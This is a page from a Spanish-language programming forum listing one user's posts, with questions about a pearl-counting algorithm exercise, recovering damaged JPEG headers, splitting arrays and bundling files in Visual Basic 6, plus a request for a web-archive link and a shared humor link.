Hola gente!! estoy buscando dentro del foro un link que hace algún tiempo a tras han dejado, no recuerdo bien si fue Coco, xKiz, o Leandro... El link llevaba a un sitio web en el que ingresabas una URL, y te daba contenidos ya inactivos o borrados del mismo... busque por todo el foro y no encuentro ese link.

¿Alguien sabe donde esta o el titulo o la fecha? necesito ver los contenidos de un sitio web pero estos ya no están disponibles. cho



agradezco mucho de antemano!!

saludos cordiales.

10
General / La computadora más pequeña del mundo
« en: Febrero 19, 2012, 10:37:41 pm »

11
General / Algoritmo problematico
« en: Octubre 28, 2011, 09:55:38 pm »
Hola gente, hace tiempo que no me entraba al foro.. hoy estoy en las nubes, no es mi día, hasta el más simple de los algoritmos me supera.
este es el algoritmo que me tiene pensando...

Citar
Ejercicio:

Armar un Algoritmo que cuente las Perlas Amarillas y Azules de una caja que contiene 100  unidades de éstas, de diferentes colores.
Así mismo, cada vez que se presenten Perlas Blancas o Negras se debe descontar 1 al contador de Amarillas y Azules.
1-   Informar cada vez que se presenten Perlas Blancas, Negras, Amarillas o Azules.
2-   Informar cuando se trate de otro color de Perlas.
3-   Informar el total y el contador de Perlas Amarillas y Azules.
4-   Informar el total de Perlas Blancas y Negras (utilice estructuras de repetición y de selección)

Resolución:
Programa: Contador de bolillas.

Declaraciones:

Amarillas, Azules, Blancas, Negras, Perlas Numéricas

Inicio:
Bolitas=100

si alguien me pudiera orientar, se los agradecería infinitamente!!!
saludos cordiales!!!

12
General / Solo para informaticos, jeje
« en: Agosto 19, 2011, 03:06:58 pm »
Hola amigos, gente del foro..
Al pasar por taringa me encontre con algo que me gusto, y pense en compartirlo.
Por su puesto, no es mio...
Pongo el link:
http://www.taringa.net/posts/humor/10155521/Sistema-operativo_-Mujeres.html

el usuario, compara a las mujeres con Sistemas Operativos, a mi parecer esta muy bueno..

Saludos, espero que sea de su agrado.

Pd. No se si esto va en zona del foro, si no fuera asi, agradeceria que lo muevan o borren ..

13
Visual Basic 6 / Codificar imagen .jpg (encabezados)
« en: Agosto 08, 2011, 03:44:04 pm »
Hola amigos, como están? tengo una gran duda, tengo unas imágenes .jpg, que recupere de un disco duro de un cliente, que me solicita que haga todo lo posible por recuperar, la info de su disco.
La cuestión es que pude recuperar el 98% del disco, pero cuando intento ver las imágenes, no todas se pueden ver de forma correcta. algunas muestran el tamaño, pero no dejan ver nada, utilizando UltraEdit, pude ver que el cabezal (Header) de la imagen ha dejado de existir, no aparece en el código de la imagen.
Sé que se puede 'FORZAR' el código, para restaurar la imagen.
El tema es que necesito conseguir mas información, sobre los métodos de codificación de las imágenes mas que nada las .jpg, tengo algo sobre .bmp, tif, pcx, no consigo implementar en vb6., tengo un poco de fiaca  o pereza escribir algo en asm, o c++, soy  un amante del vb6.

si alguien sabe algo, por favor les agradecería muchísimo!!!, si logro algo, lo subo al foro.


saludos cordiales.

14
Visual Basic 6 / Dividir array en varias partes, posible???
« en: Julio 08, 2011, 02:46:42 pm »
 ??? Hola gente, como va todo?? Antes que nada, Felicitaciones por los comentarios sobre la cantidad de visitas a este web!!! larga vida, a este web!!!!

estoy hace semanas tratando de solucionar un problema, que me tiene ya medio mareado..

Por ejemplo: Cargo un fichero txt, con texto, en su interior, obvio, lo que intento hacer es cargarlo en un array. Si el archivo tubiera 60 Kb, lo dividiria en en 3 partes de 20 Kb ò en 2 partes de 30 Kb cada una, y despues mostraria su contenido.

Ultimamente me siento como homero Simpson, jeje.. todo o casi todo no sale como quiero!!!

saludos cordiales a todos!

15
Visual Basic 6 / varios archivos dentro de uno, se puede???
« en: Mayo 31, 2011, 10:32:25 pm »
Hola amigos, les saludo a todos, tengo una duda, quiero adjuntar varios archivos dentro de uno solo, por ejemplo genero un archivo principal.spf, y a este le agrego o le adjunto presentacion.ppt, Setup.exe, etc..

He visto algo, un proyecto, no recuerdo de quien es.. Se llama MultiFile4, pero no logro conseguir resultados parecidos, esta situacion desbordo mi tranquilidad, intentare otro dia, sinceramente, hoy no logro utilizar el cerebro con claridad..


si alguien sabe de algo, no pretendo molestar...


saludos

Páginas: [1] 2